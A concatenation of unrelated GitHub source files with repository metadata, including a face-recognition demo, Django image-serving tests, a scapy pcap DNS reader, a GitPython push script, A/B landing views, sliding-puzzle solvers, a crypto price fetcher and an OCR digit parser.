cv2.rectangle(imgBabu, (faceLoc[3], faceLoc[0]), (faceLoc[1], faceLoc[2]), (255, 0, 255), 2)
faceLocTest = face_recognition.face_locations(imgTest)[0]
encodeTest = face_recognition.face_encodings(imgTest)[0]
cv2.rectangle(imgTest, (faceLocTest[3], faceLocTest[0]), (faceLocTest[1], faceLocTest[2]), (255, 0, 255), 2)
results = face_recognition.compare_faces([encodeBabu], encodeTest)
faceDis = face_recognition.face_distance([encodeBabu], encodeTest)
print(results, faceDis)
cv2.putText(imgTest, f'{results} {round(faceDis[0], 2)}', (50, 50), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 2)
cv2.imshow('Mahesh Babu', imgBabu)
cv2.imshow('Mahesh Babu', imgTest)
cv2.waitKey(0)
cv2.destroyAllWindows()
| [
"noreply@github.com"
] | noreply@github.com |
646206d4febf8d2aefd2de7b3ee814dc8477a1ba | 2f3d8570407e96f978c3f3009920c7cce7ed3819 | /tests/tests.py | 4c151dba34fd5df040cb3fedf213a9ad6adb02e6 | [
"MIT"
] | permissive | dduong42/dbimage | b12006a55a168ecde0feede5fa6f0e8dbe722289 | a42ce84b9d4d0f904e43e7ca549280428ae3d386 | refs/heads/master | 2020-05-01T17:41:51.981347 | 2019-03-25T14:50:04 | 2019-03-25T14:50:04 | 177,606,141 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,706 | py | from datetime import datetime
from unittest import mock
from dbimage.models import DBImage
from dbimage.views import ServeImageView
from django.http import Http404
from django.test import RequestFactory, TestCase
from django.utils.http import http_date
serve_image = ServeImageView.as_view()
class TestDBImage(TestCase):
def test_jpg(self):
image = DBImage(path='image.jpg')
self.assertEqual(image.content_type(), 'image/jpeg')
def test_jpeg(self):
image = DBImage(path='image.jpeg')
self.assertEqual(image.content_type(), 'image/jpeg')
def test_jpg_upper(self):
image = DBImage(path='image.JPG')
self.assertEqual(image.content_type(), 'image/jpeg')
def test_jpg_plus_noise(self):
image = DBImage(path='image.noise.jpg')
self.assertEqual(image.content_type(), 'image/jpeg')
def test_jpg_unknown(self):
image = DBImage(path='image.unknown')
self.assertEqual(image.content_type(), 'application/octet-stream')
def test_jpg_with_dir(self):
image = DBImage(path='directory/image.jpg')
self.assertEqual(image.content_type(), 'image/jpeg')
def test_from_filename_and_content(self):
image = DBImage.create_from_path_and_content(
path='image.jpg',
content=b'content',
)
self.assertEqual(image.etag, '"9a0364b9e99bb480dd25e1f0284c8555"')
self.assertEqual(image.path, 'image.9a0364b9e99b.jpg')
def test_from_path_and_content_with_dir(self):
image = DBImage.create_from_path_and_content(
path='directory/image.jpg',
content=b'content',
)
self.assertEqual(image.etag, '"9a0364b9e99bb480dd25e1f0284c8555"')
self.assertEqual(image.path, 'directory/image.9a0364b9e99b.jpg')
class TestServeImageView(TestCase):
def setUp(self):
self.path = 'path.png'
self.content = b'binary-content'
self.content_type = 'image/png'
self.etag = '"123"'
with mock.patch('django.utils.timezone.now') as mock_now:
mock_now.return_value = datetime(year=1991, month=11, day=16)
self.image = DBImage.objects.create(
path=self.path,
content=self.content,
etag=self.etag,
)
def test_404(self):
request = RequestFactory().get('/')
with self.assertRaises(Http404):
serve_image(request, 'unknown')
def test_content_is_good(self):
request = RequestFactory().get('/')
response = serve_image(request, self.path)
self.assertEqual(response.getvalue(), self.content)
def test_content_type_is_good(self):
request = RequestFactory().get('/')
response = serve_image(request, self.path)
self.assertEqual(response['Content-Type'], self.content_type)
def test_cache_is_good(self):
request = RequestFactory().get('/')
response = serve_image(request, self.path)
elements = response['Cache-Control'].split(', ')
self.assertIn('public', elements)
self.assertIn('max-age=315360000', elements)
self.assertIn('immutable', elements)
def test_modified_since(self):
date = datetime(year=1991, month=11, day=17)
http_d = http_date(date.timestamp())
request = RequestFactory().get(
'/', HTTP_IF_MODIFIED_SINCE=http_d)
response = serve_image(request, self.path)
self.assertEqual(response.status_code, 304)
self.assertEqual(response.getvalue(), b'')
def test_modified_since_older_date(self):
date = datetime(year=1991, month=11, day=15)
http_d = http_date(date.timestamp())
request = RequestFactory().get(
'/', HTTP_IF_MODIFIED_SINCE=http_d)
response = serve_image(request, self.path)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.getvalue(), self.content)
def test_response_returns_etag(self):
request = RequestFactory().get('/')
response = serve_image(request, self.path)
self.assertEqual(response['ETag'], self.etag)
def test_304_etag(self):
request = RequestFactory().get(
'/', HTTP_IF_NONE_MATCH=self.etag)
response = serve_image(request, self.path)
self.assertEqual(response.status_code, 304)
self.assertEqual(response.getvalue(), b'')
def test_200_etag(self):
request = RequestFactory().get(
'/', HTTP_IF_NONE_MATCH='"456"')
response = serve_image(request, self.path)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.getvalue(), self.content)
| [
"daniel.duong@outlook.com"
] | daniel.duong@outlook.com |
674f327214bd3891a9a61fbde86f7e071c40e10b | 1e25077041d953fbd5a2a528c6bef04d8a5b8c01 | /testing.py | e44f2d693b1a44777187d4cbeb364c81159271bb | [] | no_license | lesquive/smartpcap | ecf9c6ba408aa5d57d6dc6fbd38962beb0b95b07 | 57ecf634fddf4f1538fc895bd665d4e494a1bd89 | refs/heads/master | 2022-02-22T16:18:27.702475 | 2019-10-10T23:59:23 | 2019-10-10T23:59:23 | 204,085,266 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | #!/usr/bin/python3
from scapy.all import *
from scapy.utils import *
import time
start = time.time()
pktnum = 0
pkts = rdpcap ('110kpackets.pcapng')
for pkt in pkts:
pktnum += 1
try:
print(pkt[DNS]["DNS Question Record"].qname)
except:
pass
end = time.time()
print("")
print("")
print("Total packets: {}".format(pktnum))
print("total execution time: {}".format(end - start)) | [
"luis-esquivel@Luiss-MacBook-Pro.local"
] | luis-esquivel@Luiss-MacBook-Pro.local |
66d6ad6714e58be21a827fe0220debbf5e1ea981 | c6673f34abda861d158f15f72c0fe7e327910b19 | /src/1_数据结构和算法/1.10_从序列中移除重复项且保持元素间顺序不变.py | 0b3f5fb03422a0ca34cc16d7b8497a33777cf6fb | [] | no_license | fgd-haha/cookbook | 0ac089516d39840bbc046add93b8f4dc2e46b292 | 068ee9f2cc4b90d0fbe5fa054acf78edf97823e0 | refs/heads/master | 2021-07-02T23:51:58.479230 | 2020-09-13T16:12:17 | 2020-09-13T16:12:17 | 164,295,672 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 683 | py | """从序列中移除重复项且保持元素间顺序不变"""
a = [1, 5, 2, 1, 8, 10]
b = [{'a': 2, 'b': 3}, {'a': 1, 'b': 3, 'c': 3}, {'a': 2, 'b': 3}]
# 去除重复，无序
print(list(set(a)))
def dedupe(items, key=None):
"""
:param items: 要去重的对象
:param key: 作用是指定一个函数将item变为可hash的对象
:return:
"""
s = set()
for item in items:
val = item if key is None else key(item)
if val not in s:
yield item
s.add(val)
# item可hash，去除重复，有序
print(list(dedupe(a)))
# item不可hash，去除重复，有序
print(list(dedupe(b, lambda d: (d['a'], d['b']))))
| [
"fgd.freedom@gmail.com"
] | fgd.freedom@gmail.com |
6ec0eab8f7da15e2da1d5070d96fc4234f6522ce | 8a21118dffc092bf28b20aadeaae8e333fc602eb | /Python_course/Part 3/request-handling/landing/app/views.py | 3552980558e03b436d57d192a791b7edd2742292 | [] | no_license | shattl2000/Netology | 7bb9fa54ecd30fc70c327caeb0b8575f46bba11a | 6357373160efa52c3563b53bd78d752f80973f5d | refs/heads/master | 2022-11-23T13:33:27.051130 | 2019-12-08T14:20:05 | 2019-12-08T14:20:05 | 193,401,160 | 1 | 0 | null | 2022-11-22T03:59:24 | 2019-06-23T22:25:57 | Python | UTF-8 | Python | false | false | 2,735 | py | from collections import Counter
from django.http import HttpResponse
from django.shortcuts import render_to_response
# Для отладки механизма ab-тестирования используйте эти счетчики
# в качестве хранилища количества показов и количества переходов.
# но помните, что в реальных проектах так не стоит делать
# так как при перезапуске приложения они обнулятся
counter_show = Counter()
counter_click = Counter()
def index(request):
# Реализуйте логику подсчета количества переходов с лендига по GET параметру from-landing
if request.GET.get('from-landing') == 'original':
counter_click['original'] += 1
elif request.GET.get('from-landing') == 'test':
counter_click['test'] += 1
return render_to_response('index.html')
def landing(request):
# Реализуйте дополнительное отображение по шаблону app/landing_alternate.html
# в зависимости от GET параметра ab-test-arg
# который может принимать значения original и test
# Так же реализуйте логику подсчета количества показов
if request.GET.get('ab-test-arg') == 'original':
counter_show['original'] += 1
return render_to_response('landing.html')
if request.GET.get('ab-test-arg') == 'test':
counter_show['test'] += 1
return render_to_response('landing_alternate.html')
return render_to_response('landing.html')
def stats(request):
if counter_show['test'] == 0 or counter_show['original'] == 0:
msg = 'Просмотров не было'
return HttpResponse(msg)
test_conversion = counter_click['test'] / counter_show['test']
original_conversion = counter_click['original'] / counter_show['original']
# Реализуйте логику подсчета отношения количества переходов к количеству показов страницы
# Чтобы отличить с какой версии лендинга был переход
# проверяйте GET параметр marker который может принимать значения test и original
# Для вывода результат передайте в следующем формате:
return render_to_response('stats.html', context={
'test_conversion': test_conversion,
'original_conversion': original_conversion,
})
| [
"shattl2000@MacBook-Pro-Aleksandr.local"
] | shattl2000@MacBook-Pro-Aleksandr.local |
b4b756731874b115f76aa509cfd115c1f33441d6 | 7a54cefc06f1f4b9f8e0884ae38d9155ea4c015d | /Python/commitAndPushToRemote.py | 2390806306f26fd8739adb54f6637677778e2bdb | [
"Unlicense"
] | permissive | Giorox/script-collection | 2f98cd97af1e5c0eb5a47941c4cb62635c525b6b | aa87f6123a4f6c53398da67158c4ae651c77943f | refs/heads/master | 2023-07-16T04:41:05.929050 | 2021-08-31T15:22:10 | 2021-08-31T15:22:10 | 401,523,792 | 5 | 1 | Unlicense | 2021-08-31T15:19:39 | 2021-08-31T00:27:38 | Python | UTF-8 | Python | false | false | 1,354 | py | #!/usr/bin/python
# Script to commit and push to a remote repository using gitPython package
# Usage: python commitAndPushToRemote.py
# Author: Giovanni Fazolo Silva Rebouças
# Date: 18 July 2019
# Version: v0.0.2 (23 August 2019)
# NOTE: Repository should already exist and have a remote named 'origin' configured
from git import Repo # Importing gitPython to operate over repositories
from pathlib import Path # Import Path composing functions to maintain directory path integrity
import sys # Import system functionality
def main(argv):
# Path to local repository FOLDER
source_git_dir = Path(r"C:\Users\USERNAME\test_repository")
# Commit message
message = 'Commited through gitPython'
try:
# Create Repo object from specified path
repo = Repo(source_git_dir)
# Add all changed files to staging area
repo.git.add(update=True)
# Commit changes with choosen message
repo.index.commit(message)
# Pull ref that points to the remote called 'origin'
origin = repo.remote(name='origin')
# Push to remote (origin)
origin.push()
except Exception as e:
print("Something went wrong while pushing the code. Error: " + str(e))
finally:
print("Code push from gitPython succeeded")
if __name__ == "__main__":
main(sys.argv[1:])
| [
"giovannireboucas@hotmail.com"
] | giovannireboucas@hotmail.com |
33d8913ac39630086a9e415aa0d564315499abeb | 0b30cdc66866b93e3c892317a4d6475830475cf8 | /scripts/Solver.py | 1a8e43fb7b7ea4db0a6833e1bb45b0f345191076 | [
"MIT"
] | permissive | ciherrera20/MinesweeperSolver | 1dda7ac1f0d1fb595d5849a786c32b46d478a046 | 5426cacc0d1059a8d5b7e527b79218bef36de0bb | refs/heads/main | 2023-04-15T19:42:19.427789 | 2021-04-29T08:31:08 | 2021-04-29T08:31:08 | 362,274,558 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,806 | py | import numpy as np
import time
from Board import *
class Solver:
def __init__(self, board):
self.board = board
def solveOne(self):
# Click any zeros and all of its neighbors
# Get list of squares: that touch non-clicked squaes and athe adjacent squares that have not been clicked
start = time.time()
squares = s.getSquares()
end = time.time()
print("Get squares", end - start)
# Create augmented matrix
start = time.time()
augMatrix, coords = s.createAugmentedMatrix(*squares)
end = time.time()
print("Create augmented matrix", end - start)
# print(squares)
# print(augMatrix)
# print(coords)
# Row reduce
start = time.time()
reducedMatrix = s.reduce(augMatrix)
end = time.time()
print("Row reduce", end - start)
# print(reducedMatrix)
# Use special rule
start = time.time()
mines = s.specialRule(reducedMatrix)
end = time.time()
print("Special rule", end - start)
# print(mines)
# Click necessary squares
start = time.time()
numClicks = s.clickSquares(mines, coords)
end = time.time()
print("Click squares", end - start)
# print(b)
return numClicks
def getSquares(self):
"""
Returns a list of cells that are numbered and adjacent to an open, non-flagged cell
"""
rows = self.board.rows
cols = self.board.cols
listNumSquares = []
visited = {}
count = 0
for r in range(rows):
for c in range(cols):
# checks if current cell is clicked
if self.board.isClicked(r, c):
added = False
for neighbor in self.board.getNeighbors(r, c):
neighborRow, neighborCol = neighbor
# checks if neighbor cell hasn't been clicked nor flagged
if not self.board.isClicked(neighborRow, neighborCol) and not self.board.isFlagged(neighborRow, neighborCol):
if not added:
listNumSquares += [(r, c)]
added = True
if neighbor not in visited:
visited[neighbor] = count
count += 1
return (listNumSquares, visited, count)
def createAugmentedMatrix(self, cells, unclickedDict, numUnclicked):
"""
Create the augmented matrix and a list of coordinates from the list of numbered cells adjacent to at least one unclicked, unflagged cell
"""
augRows = len(cells)
augCols = numUnclicked
augMatrix = np.zeros((augRows, augCols + 1))
coords = {}
for augRow in range(augRows):
neighbors = self.board.getNeighbors(*cells[augRow])
for neighbor in neighbors:
if neighbor in unclickedDict:
augCol = unclickedDict[neighbor]
augMatrix[augRow, augCol] = 1
coords[augCol] = neighbor
# Create augmented column
augMatrix[augRow, -1] = self.board.getMines(*cells[augRow])
return augMatrix, coords
def reduce(self, matrix):
"""
Convert matrix to reduced row echelon form
"""
rows = len(matrix)
cols = len(matrix[0])
# Reducing to RREF can be broken into sub problems: reducing a single row and column, and then reducing the resulting sub matrix
# Keep track of which column we are on
col = 0
# Loop through rows
for row in range(rows):
# Check if we have gone through all the columns
if col >= cols:
return matrix
# Row of the left-most, then top-most non-zero entry
lrow = row
# Find the left-most, then top-most non-zero entry
while matrix[lrow, col] == 0:
# Increment row
lrow += 1
# If we reach the number of rows in the matrix, loop back around to row and increment col
if lrow == rows:
lrow = row
col += 1
# Check if we have gone through all the columns
if col == cols:
return matrix
# If the left-most, top-most non-zero entry is not in row, swap its row with row
if lrow != row:
temp = list(matrix[row])
matrix[row] = matrix[lrow]
matrix[lrow] = np.array(temp)
# Cancel out entries in the column col in all rows except lrow
for j in range(rows):
if j != row:
if matrix[j, col] != 0:
matrix[j] = matrix[row, col] * matrix[j] - matrix[j, col] * matrix[row]
# Increment col by 1, and move on to the next row
col += 1
return matrix
def specialRule(self, matrix):
"""
Applies Special Rule :))
Handy chart:
| Coefficient is Positive | Coefficient is Negative |
Row meets lower bound | Not Mine | Mine |
Row meets upper bound | Mine | Not Mine |
Row meets neither bound | Unsure | Unsure |
"""
# Remove all zero rows. Results in a pretty significant speedup
matrix = matrix[np.all(matrix == 0, axis = 1) == False]
# Loop through the matrices rows looking for equations that can be solved
rows = len(matrix)
if rows == 0:
return np.array([])
cols = len(matrix[0]) - 1
mines = np.zeros(cols) - 1
lead = 0
for row in range(rows):
# Compute the upper bound and lower bound, as well as the values of the cells needed to meet the upper bound,
# and record the corresponding column numbers.
upperbound = 0
lowerbound = 0
nonzeroCols = []
nonzeroColsDict = {}
vals = []
for col in range(lead, cols):
entry = matrix[row, col]
if entry != 0:
if entry > 0:
upperbound += entry
vals.append(1)
elif entry < 0:
lowerbound += entry
vals.append(0)
if len(nonzeroCols) == 0:
lead = col
nonzeroCols.append(col)
nonzeroColsDict[col] = True
vals = np.array(vals)
# If the upperbound or lowerbound are not met, we can't say anything about the cell
# Otherwise, we can reduce the matrix further and recursively compute the values of cells
if len(vals) != 0 and (upperbound == matrix[row, -1] or lowerbound == matrix[row, -1]):
# Flip 0s and 1s if the lower bound is met
if lowerbound == matrix[row, -1]:
vals = 1 + vals * -1
# Extract columns with nonzero entries in this row from A
C = np.array([matrix[:, i] for i in nonzeroCols]).T
# Reduce the matrix by removing columns of the cells whose values we just found and adjusting the last column
reducedMatrix = np.array([matrix[:, i] for i in range(cols + 1) if i not in nonzeroColsDict]).T
reducedMatrix[:, -1] = reducedMatrix[:, -1] - C @ vals
# Recursively compute the values of the other cells and insert them into the array of values
newMines = self.specialRule(reducedMatrix)
j = k = 0
for i in range(cols):
if i in nonzeroColsDict:
mines[i] = vals[k]
k += 1
else:
mines[i] = newMines[j]
j += 1
break
return mines
def clickSquares(self, mines, coords):
"""
generates list of clicks that should be made:
flagging known mines and clicking known empty squares.
everything else should be left alone.
"""
numClicks = 0
for x in range(len(mines)):
# bomb so add corresponding coords to list of cells to flag
if mines[x] == 1:
self.board.flagCell(*coords[x])
# not a bomb so add corresponding coords to list of cells to click
elif mines[x] == 0:
self.board.clickCell(*coords[x])
numClicks += 1
return numClicks
def solve(self):
# while (solveOne):
# pass
pass
if __name__ == "__main__":
# s = Solver(Board(100, 100, 12))
# a = np.array([
# [1, 1, 0, 0, 0, 1],
# [1, 1, 1, 0, 0, 2],
# [0, 1, 1, 1, 0, 2],
# [0, 0, 1, 1, 1, 2],
# [0, 0, 0, 1, 1, 1]
# ])
# a = np.array([
# [4, 10, 8],
# [10, 150, -5],
# ])
# print(a)
# print(s.reduce(a))
# Set up test board
# b = Board(5, 2, 0)
# b.addMine(0, 0)
# b.addMine(1, 0)
# b.addMine(2, 0)
# b.addMine(3, 0)
# b.addMine(4, 0)
# for i in range(0, 5):
# b.clickCell(i, 1)
b = Board(99, 99, 0)
b.clickCell(49, 49)
print(b)
s = Solver(b)
s.solveOne() | [
"ciherrera20@icloud.com"
] | ciherrera20@icloud.com |
2789dc13a29b1bd4182372068d04911aecafd111 | ab33d7e3bdeadf08e0e0729b14c3a31832113ce5 | /stdplugins/say.py | a7d7d981a91a42b411b09ebb5ebe5954e5c9eb9f | [
"Apache-2.0"
] | permissive | mkaraniya/PepeBot | 36276d7010394d2414e9c04e9464faff5c90ec8c | 9f58c1c6ba01166f4cc48ea606b8b1f911cf425d | refs/heads/master | 2020-08-26T10:21:35.015984 | 2020-04-08T09:14:39 | 2020-04-08T09:14:39 | 217,000,714 | 2 | 9 | Apache-2.0 | 2019-10-23T07:56:41 | 2019-10-23T07:56:41 | null | UTF-8 | Python | false | false | 574 | py | # For UniBorg
# By Priyam Kalra
# Syntax (.say <text_to_print>)
from uniborg.util import admin_cmd
from telethon.tl import functions, types
import time
@borg.on(admin_cmd(pattern="say ?(.*)"))
async def _(event):
if event.fwd_from:
return
input = event.pattern_match.group(1)
if not input:
abe = await event.get_reply_message()
input = abe.text
strings = input.split()
count = 0
output = ""
for _ in strings:
output += f"{strings[count]}\n"
count += 1
await event.edit(output)
time.sleep(0.25)
| [
"55076817+prono69@users.noreply.github.com"
] | 55076817+prono69@users.noreply.github.com |
bc56e5dd54bb287f4e585e94a821577e92f6e4ad | 3d659c1c3a8aaa0f1f4628bb046787a01f9e513d | /bin/scripts/vc_usd_nt.py | 5799d66addf54b75f6e6d3e95201684be1255047 | [
"Apache-2.0"
] | permissive | sugimotokun/VirtualCurrencySplunk | 8ba12c6bd26ac3e7262bc5d4ad714cabc5c7f4f0 | e9797ec4924da5a6a4fe33f74e831611084cecf9 | refs/heads/master | 2021-01-23T00:48:45.950021 | 2017-06-30T12:11:37 | 2017-06-30T12:11:37 | 92,849,484 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,321 | py | #
# Copyright (c) 2017 Sugimoto Takaaki
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import urllib
import json
from collections import OrderedDict
# dictionary of api url
d = OrderedDict()
d['btc']='https://api.cryptonator.com/api/ticker/btc-usd'
d['ltc']='https://api.cryptonator.com/api/ticker/ltc-usd'
d['doge']='https://api.cryptonator.com/api/ticker/doge-usd'
d['xrp']='https://api.cryptonator.com/api/ticker/xrp-usd'
d['eth']='https://api.cryptonator.com/api/ticker/eth-usd'
d['mona']='https://api.cryptonator.com/api/ticker/mona-usd'
outputString = ""
for url in d.values():
sock = urllib.urlopen(url)
jsonString = sock.read()
sock.close()
jsonCurrency = json.loads(jsonString)
price = jsonCurrency['ticker']['price']
outputString = outputString + price + " "
print outputString
| [
"sugimotion@gmail.com"
] | sugimotion@gmail.com |
ba801aca965089f72776e5998d259a23802b74e6 | 8f3336bbf7cd12485a4c52daa831b5d39749cf9b | /Python/sliding-puzzle.py | 22a02e080a64c277d48f26a549604f17dc5dba51 | [] | no_license | black-shadows/LeetCode-Topicwise-Solutions | 9487de1f9a1da79558287b2bc2c6b28d3d27db07 | b1692583f7b710943ffb19b392b8bf64845b5d7a | refs/heads/master | 2022-05-30T22:16:38.536678 | 2022-05-18T09:18:32 | 2022-05-18T09:18:32 | 188,701,704 | 240 | 110 | null | 2020-05-08T13:04:36 | 2019-05-26T15:41:03 | C++ | UTF-8 | Python | false | false | 4,140 | py | # Time: O((m * n) * (m * n)!)
# Space: O((m * n) * (m * n)!)
import heapq
import itertools
# A* Search Algorithm
class Solution(object):
def slidingPuzzle(self, board):
"""
:type board: List[List[int]]
:rtype: int
"""
def dot(p1, p2):
return p1[0]*p2[0]+p1[1]*p2[1]
def heuristic_estimate(board, R, C, expected):
result = 0
for i in xrange(R):
for j in xrange(C):
val = board[C*i + j]
if val == 0: continue
r, c = expected[val]
result += abs(r-i) + abs(c-j)
return result
R, C = len(board), len(board[0])
begin = tuple(itertools.chain(*board))
end = tuple(range(1, R*C) + [0])
expected = {(C*i+j+1) % (R*C) : (i, j)
for i in xrange(R) for j in xrange(C)}
min_steps = heuristic_estimate(begin, R, C, expected)
closer, detour = [(begin.index(0), begin)], []
lookup = set()
while True:
if not closer:
if not detour:
return -1
min_steps += 2
closer, detour = detour, closer
zero, board = closer.pop()
if board == end:
return min_steps
if board not in lookup:
lookup.add(board)
r, c = divmod(zero, C)
for direction in ((-1, 0), (1, 0), (0, -1), (0, 1)):
i, j = r+direction[0], c+direction[1]
if 0 <= i < R and 0 <= j < C:
new_zero = i*C+j
tmp = list(board)
tmp[zero], tmp[new_zero] = tmp[new_zero], tmp[zero]
new_board = tuple(tmp)
r2, c2 = expected[board[new_zero]]
r1, c1 = divmod(zero, C)
r0, c0 = divmod(new_zero, C)
is_closer = dot((r1-r0, c1-c0), (r2-r0, c2-c0)) > 0
(closer if is_closer else detour).append((new_zero, new_board))
return min_steps
# Time: O((m * n) * (m * n)! * log((m * n)!))
# Space: O((m * n) * (m * n)!)
# A* Search Algorithm
class Solution2(object):
def slidingPuzzle(self, board):
"""
:type board: List[List[int]]
:rtype: int
"""
def heuristic_estimate(board, R, C, expected):
result = 0
for i in xrange(R):
for j in xrange(C):
val = board[C*i + j]
if val == 0: continue
r, c = expected[val]
result += abs(r-i) + abs(c-j)
return result
R, C = len(board), len(board[0])
begin = tuple(itertools.chain(*board))
end = tuple(range(1, R*C) + [0])
end_wrong = tuple(range(1, R*C-2) + [R*C-1, R*C-2, 0])
expected = {(C*i+j+1) % (R*C) : (i, j)
for i in xrange(R) for j in xrange(C)}
min_heap = [(0, 0, begin.index(0), begin)]
lookup = {begin: 0}
while min_heap:
f, g, zero, board = heapq.heappop(min_heap)
if board == end: return g
if board == end_wrong: return -1
if f > lookup[board]: continue
r, c = divmod(zero, C)
for direction in ((-1, 0), (1, 0), (0, -1), (0, 1)):
i, j = r+direction[0], c+direction[1]
if 0 <= i < R and 0 <= j < C:
new_zero = C*i+j
tmp = list(board)
tmp[zero], tmp[new_zero] = tmp[new_zero], tmp[zero]
new_board = tuple(tmp)
f = g+1+heuristic_estimate(new_board, R, C, expected)
if f < lookup.get(new_board, float("inf")):
lookup[new_board] = f
heapq.heappush(min_heap, (f, g+1, new_zero, new_board))
return -1
| [
"noreply@github.com"
] | noreply@github.com |
d53083f167fd05069cc03ea3f96e13596e56430a | 6c4f31eded1ab11b36b70bcf55263a13568509b2 | /geoservice/geoservice/wsgi.py | 119e140c1e9f4a028ea3e53468623409b35cf50f | [
"MIT"
] | permissive | ride90/postgis-geo-service | 202c55bee77f483f8e76be04b205ff683bbac188 | c9d1bacf6a154a3b3ec57cf52adc7b79c79c2941 | refs/heads/master | 2020-07-23T16:46:11.262073 | 2019-09-11T09:08:01 | 2019-09-11T09:08:01 | 207,635,123 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | """
WSGI config for geoservice project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'geoservice.settings')
application = get_wsgi_application()
| [
"olegpshenichniy@gmail.com"
] | olegpshenichniy@gmail.com |
6bfb8ef28cd4b15180b19694a99bf170315d9632 | 02eacb2f5bf2ef6d37e2d8793e6958e55140378b | /auxi/spy_utils/request_tool.py | fdefd5ceda4449a717b25804697e93798dea1767 | [] | no_license | xx-zhang/spy2hy | 83a6817df15422c30dcdd924943b682e6d407bb4 | 6ebdd36b8056d13668882733d9f796bc13443f07 | refs/heads/master | 2023-05-27T02:13:11.547371 | 2020-06-27T05:24:44 | 2020-06-27T05:24:44 | 275,252,283 | 0 | 0 | null | 2021-06-10T23:06:04 | 2020-06-26T21:37:12 | Python | UTF-8 | Python | false | false | 1,780 | py | # coding:utf-8
# https://stackoverflow.com/questions/4685217/parse-raw-http-headers/
from email.parser import BytesParser
from http.server import BaseHTTPRequestHandler
from io import BytesIO
class HTTPRequest(BaseHTTPRequestHandler):
def __init__(self, request_text):
self.rfile = BytesIO(request_text)
self.raw_requestline = self.rfile.readline()
self.error_code = self.error_message = None
self.parse_request()
def send_error(self, code, message):
self.error_code = code
self.error_message = message
# t = HTTPRequest(request_text=request_text)
class ParseReqHeader():
@staticmethod
def get_request_text_by_file(file_path):
with open(file_path, 'rb') as f:
try:
return f.read()
finally:
f.close()
@staticmethod
def parse0(request_text, file_path=None):
return {k: v.strip() for k, v in [line.split(":", 1)
for line in request_text.decode().splitlines() if ":" in line]}
@staticmethod
def parse1(request_text=None, file_path=None):
# TODO: 如果提供了file_path, 优先filepath
if file_path:
request_text = ParseReqHeader().get_request_text_by_file(file_path)
request_line, headers_alone = request_text.split(b'\r\n', 1)
headers = BytesParser().parsebytes(headers_alone)
return {k: v for k, v in headers.items()}
def parse_request_by_filepath(file_path):
return ParseReqHeader().parse1(file_path=file_path)
def parse_request_by_text(request_text):
return ParseReqHeader().parse1(request_text=request_text)
if __name__ == "__main__":
_ = ParseReqHeader().parse1(file_path='c://test.txt')
print(_)
| [
"actanble@gmail.com"
] | actanble@gmail.com |
341573d4341b6db71284813bb7a55d035fcd1e4f | cf6377dc2db288fcfcbddb1fd46a167a02faf8e6 | /ocr-numbers/ocr_numbers.py | 16236c0060f426affaaf9d6736f8dfdf4e6cb65b | [] | no_license | galipkaya/exercism-python | a442f295612b8dcf30515057a3879c341c7acfd9 | 87ef99b3300dd940286cb52cc12f4a92368fc9fe | refs/heads/master | 2023-07-31T03:11:51.816801 | 2021-09-26T13:40:24 | 2021-09-26T13:40:24 | 295,388,085 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,230 | py | ocr_numbers = {
" _ \n| |\n|_|\n ": "0",
" \n |\n |\n ": "1",
" _ \n _|\n|_ \n ": "2",
" _ \n _|\n _|\n ": "3",
" \n|_|\n |\n ": "4",
" _ \n|_ \n _|\n ": "5",
" _ \n|_ \n|_|\n ": "6",
" _ \n |\n |\n ": "7",
" _ \n|_|\n|_|\n ": "8",
" _ \n|_|\n _|\n ": "9"
}
def get_rows(input_grid):
rows = []
row = []
next_num = 3
for i in range(len(input_grid)):
row.append(input_grid[i])
if i == next_num:
rows.append(row)
row = []
next_num += 4
return rows
def get_numbers(row):
numbers = []
for i in range(0, len(row[0]), 3):
numbers.append([row[0][i:i + 3], row[1][i:i + 3], row[2][i:i + 3], row[3][i:i + 3]])
return numbers
def convert(input_grid):
if len(input_grid[0]) % 3 != 0:
raise ValueError("invalid column count")
if len(input_grid) % 4 != 0:
raise ValueError("invalid line count")
result = ""
# first get rows
for row in get_rows(input_grid):
# then get numbers from row
for number in get_numbers(row):
result += ocr_numbers.get("\n".join(number), "?")
result += ","
return result[:-1]
| [
"galip.kaya@udemy.com"
] | galip.kaya@udemy.com |
1d1ad508982878d2a7de6f98ca22edde4e5274f0 | b4556a9e9d5d46bbe4b94d59b220af72fb2ba96f | /multilingual/transformers/modeling_tf_transfo_xl_utilities.py | e6a6dfe686d1169b5c7afb9f6cdf298368f2fcde | [
"MIT"
] | permissive | HLTCHKUST/Xpersona | 9d12650f618f40bd0d7199c5cb08a32ef7aa5076 | 1da049a1bbf3b01548f98cc23ba75ef871416e50 | refs/heads/master | 2023-04-17T11:52:03.270677 | 2022-05-25T22:09:25 | 2022-05-25T22:09:25 | 253,739,477 | 66 | 17 | MIT | 2023-04-06T10:03:37 | 2020-04-07T08:56:18 | Python | UTF-8 | Python | false | false | 8,329 | py | # coding=utf-8
# Copyright 2018 Google AI, Google Brain and Carnegie Mellon University Authors and the HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
